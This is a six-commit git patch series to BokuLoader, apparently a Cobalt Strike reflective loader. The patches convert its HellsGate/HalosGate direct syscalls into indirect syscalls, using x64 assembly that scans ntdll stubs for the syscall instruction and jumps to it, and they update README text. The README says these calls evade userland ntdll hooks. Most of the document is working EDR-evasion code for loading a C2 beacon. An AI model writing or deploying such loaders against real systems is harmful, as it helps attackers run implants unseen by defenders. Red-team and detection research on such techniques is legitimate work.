From 6f9d4be70f33e26b4da2ddf656edbf3601e7370b Mon Sep 17 00:00:00 2001 From: James Yeung <21979646+ScriptIdiot@users.noreply.github.com> Date: Sun, 23 Jul 2023 16:19:56 +0800 Subject: [PATCH 1/6] Update BokuLoader.c Support indirect syscall --- src/BokuLoader.c | 51 ++++++++++++++++++++++++++++++++++-------------- 1 file changed, 36 insertions(+), 15 deletions(-) diff --git a/src/BokuLoader.c b/src/BokuLoader.c index 251c3dc..1e77a3d 100644 --- a/src/BokuLoader.c +++ b/src/BokuLoader.c @@ -54,7 +54,7 @@ void * BokuLoader() size = raw_beacon_dll.size + 0x2000; oldprotect = 0; // NtProtectVirtualMemory syscall - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect); // Have to zero out the memory for the DLL memory to become a private copy, else unwritten memory in beacon DLL can cause a crash. RtlSecureZeroMemory(base,size); @@ -70,7 +70,7 @@ void * BokuLoader() if(base){ oldprotect = 0; virtual_beacon_dll.dllBase = base; - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect); } } @@ -82,7 +82,7 @@ void * BokuLoader() if(base){ oldprotect = 0; virtual_beacon_dll.dllBase = base; - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect); } } @@ -91,7 +91,7 @@ void * BokuLoader() // Allocate new memory to write our new RDLL too base = NULL; size = raw_beacon_dll.size; - HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory), api.pNtAllocateVirtualMemory); ((tNtAlloc)HellDescent)(NtCurrentProcess(), &base, 0, &size, MEM_RESERVE|MEM_COMMIT, raw_beacon_dll.BeaconMemoryProtection); RtlSecureZeroMemory(base,size); // Zero out the newly allocated memory @@ -115,7 +115,7 @@ void * BokuLoader() size = virtual_beacon_dll.TextSectionSize; newprotect = PAGE_EXECUTE_READ; // NtProtectVirtualMemory syscall - HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory)); + HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory); ((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, newprotect, &oldprotect); } @@ -1126,17 +1126,38 @@ __asm__( "pop rdi \n" "ret \n" -"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent() - "xor r11, r11 \n" - "mov r11d, ecx \n" // Save Syscall Number in R11 - "ret \n" +"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent() + "xor r11, r11 \n" + "mov r11d, ecx \n" // Save Syscall Number in R11 + "push rdx \n" + "pop rcx \n" // Save NtApi address in RCX + "call GetSyscallAddress \n" + "mov r15, rcx \n" //Save syscall address in r15 + "ret \n" -"HellDescent: \n" // Called directly after HellsGate - "xor rax, rax \n" - "mov r10, rcx \n" - "mov eax, r11d \n" // Move the Syscall Number into RAX before calling syscall interrupt - "syscall \n" - "ret \n" +"HellDescent: \n" // Called directly after HellsGate + "xor rax, rax \n" + "mov r10, rcx \n" + "mov eax, r11d \n" // Move the Syscall Number into RAX + "jmp r15 \n" + +"GetSyscallAddress: \n" // Get the syscall address by byte by byte checking + "mov edx, 25 \n" +"find_syscall_address_loop: \n" + "mov r15, [rcx+rdx-1] \n" + "cmp r15, 0x05 \n" + "jne find_syscall_address_next \n" + "mov r15, [rcx+rdx-2] \n" + "cmp r15, 0x0F \n" + "jne find_syscall_address_next \n" + "lea rcx, [rcx+rdx-2] \n" + "mov rax, rcx \n" + "ret \n" +"find_syscall_address_next: \n" + "dec edx \n" + "jnz find_syscall_address_loop \n" + "xor rax, rax \n" + "ret \n" "getFirstEntry: \n" // RAX, RCX "mov rax, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB From bcca767dedd438cc35bbc4aac272da8a3b1656b5 Mon Sep 17 00:00:00 2001 From: James Yeung <21979646+ScriptIdiot@users.noreply.github.com> Date: Sun, 23 Jul 2023 16:20:30 +0800 Subject: [PATCH 2/6] Update BokuLoader.h Support indirect syscall --- src/BokuLoader.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/BokuLoader.h b/src/BokuLoader.h index 2218439..18e59f2 100644 --- a/src/BokuLoader.h +++ b/src/BokuLoader.h @@ -308,8 +308,9 @@ void * getRip(void); unsigned int copyWithDelimiter(void * dst, void * src, unsigned int n, CHAR delimiter); void xorc(unsigned __int64 length, unsigned char * buff, unsigned char maskkey); +void GetSyscallAddress(void * ntdllApiAddr); unsigned long findSyscallNumber(void * ntdllApiAddr); -unsigned long HellsGate(unsigned long wSystemCall); +unsigned long HellsGate(unsigned long wSystemCall, void * ntdllApiAddr); void HellDescent(void); unsigned long halosGateDown(void * ntdllApiAddr, unsigned long index); unsigned long halosGateUp(void * ntdllApiAddr, unsigned long index); From 40d1abc83ddacf536d82616acf3a8d108d7aa538 Mon Sep 17 00:00:00 2001 From: James Yeung <21979646+ScriptIdiot@users.noreply.github.com> Date: Sun, 23 Jul 2023 16:25:04 +0800 Subject: [PATCH 3/6] Update README.md Support indirect syscall --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index ab2aa7b..c702738 100644 --- a/README.md +++ b/README.md @@ -109,12 +109,12 @@ _Before using this project, in any form, you should properly test the evasion fe ### Sleepmask Detection - If sleepmask kit is used, there exists detection methods for this independent memory allocation [as detailed by MDSec here](https://www.mdsec.co.uk/2022/07/part-2-how-i-met-your-beacon-cobalt-strike/) -### Direct Syscalls -+ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtFreeVirtualMemory` -+ These are called directly from the BokuLoader executable memory. These system calls are not backed by NTDLL memory. +### Indirect Syscalls ++ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory` ++ These are called indirectly from the BokuLoader executable memory. + Setting userland hooks in `ntdll.dll` will not detect these systemcalls. -+ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage when they are not called from `ntdll.dll`. -+ The BokuLoader itself will contain the `mov eax, r11d; syscall; ret` assembly instructions within its executable memory. ++ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage. ++ The BokuLoader itself will contain the `mov eax, r11d; jmp r15` assembly instructions within its executable memory. ### Virtual Beacon DLL Header - The first `0x1000` bytes of the virtual beacon DLL are zeros. From c788936f68ece9b6691a9ade571be3df97459203 Mon Sep 17 00:00:00 2001 From: James Yeung <21979646+ScriptIdiot@users.noreply.github.com> Date: Sun, 23 Jul 2023 16:36:19 +0800 Subject: [PATCH 4/6] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c702738..ce3e8f2 100644 --- a/README.md +++ b/README.md @@ -23,8 +23,8 @@ _Before using this project, in any form, you should properly test the evasion fe ### BokuLoader Specific Evasion Features - Custom ASM/C reflective loader code -- Direct NT syscalls via HellsGate & HalosGate techniques - - All memory protection changes for all allocation options are done via direct syscall to `NtProtectVirtualMemory` +- Indirect NT syscalls via HellsGate & HalosGate techniques + - All memory protection changes for all allocation options are done via indirect syscall to `NtProtectVirtualMemory` - `obfuscate "true"` with custom UDRL Aggressor script implementation. - NOHEADERCOPY - Loader will not copy headers raw beacon DLL to virtual beacon DLL. First `0x1000` bytes will be nulls. From 38b4b9e99ce580a29fdb1e7d10afdbb6abe1e343 Mon Sep 17 00:00:00 2001 From: James Yeung Date: Mon, 4 Sep 2023 22:15:03 +0800 Subject: [PATCH 5/6] Update BokuLoader.c Avoid using R15 register --- src/BokuLoader.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/src/BokuLoader.c b/src/BokuLoader.c index 1e77a3d..d73057e 100644 --- a/src/BokuLoader.c +++ b/src/BokuLoader.c @@ -1132,23 +1132,24 @@ __asm__( "push rdx \n" "pop rcx \n" // Save NtApi address in RCX "call GetSyscallAddress \n" - "mov r15, rcx \n" //Save syscall address in r15 + "mov r10, rcx \n" //Save syscall address in R10 "ret \n" "HellDescent: \n" // Called directly after HellsGate "xor rax, rax \n" - "mov r10, rcx \n" "mov eax, r11d \n" // Move the Syscall Number into RAX - "jmp r15 \n" + "mov r11, r10 \n" // Move the syscall address to R11 + "mov r10, rcx \n" + "jmp r11 \n" "GetSyscallAddress: \n" // Get the syscall address by byte by byte checking "mov edx, 25 \n" "find_syscall_address_loop: \n" - "mov r15, [rcx+rdx-1] \n" - "cmp r15, 0x05 \n" + "mov r10, [rcx+rdx-1] \n" + "cmp r10, 0x05 \n" "jne find_syscall_address_next \n" - "mov r15, [rcx+rdx-2] \n" - "cmp r15, 0x0F \n" + "mov r10, [rcx+rdx-2] \n" + "cmp r10, 0x0F \n" "jne find_syscall_address_next \n" "lea rcx, [rcx+rdx-2] \n" "mov rax, rcx \n" From 16d4ee5c22f1f84cd97e2e7b75c2d96f85440a02 Mon Sep 17 00:00:00 2001 From: James Yeung Date: Mon, 4 Sep 2023 22:19:40 +0800 Subject: [PATCH 6/6] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ce3e8f2..421f22f 100644 --- a/README.md +++ b/README.md @@ -114,7 +114,7 @@ _Before using this project, in any form, you should properly test the evasion fe + These are called indirectly from the BokuLoader executable memory. + Setting userland hooks in `ntdll.dll` will not detect these systemcalls. + It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage. -+ The BokuLoader itself will contain the `mov eax, r11d; jmp r15` assembly instructions within its executable memory. ++ The BokuLoader itself will contain the `mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11` assembly instructions within its executable memory. ### Virtual Beacon DLL Header - The first `0x1000` bytes of the virtual beacon DLL are zeros.